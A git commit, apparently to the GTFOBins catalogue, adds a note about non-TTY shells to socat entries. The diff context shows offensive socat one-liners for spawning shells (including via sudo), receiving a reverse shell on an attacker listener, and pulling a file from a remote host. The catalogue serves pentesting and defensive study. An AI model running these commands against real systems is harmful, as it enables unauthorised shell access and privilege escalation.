Add note about socat shell

This commit is contained in:
Andrea Cardaci 2020-05-13 19:41:28 +02:00
parent 4e4b61a65a
commit 42fa84a08a

View File

@ -1,7 +1,8 @@
--- ---
functions: functions:
shell: shell:
- code: | - description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
socat stdin exec:/bin/sh socat stdin exec:/bin/sh
reverse-shell: reverse-shell:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
@ -29,7 +30,8 @@ functions:
LFILE=file_to_save LFILE=file_to_save
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
sudo: sudo:
- code: | - description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
sudo socat stdin exec:/bin/sh sudo socat stdin exec:/bin/sh
limited-suid: limited-suid:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.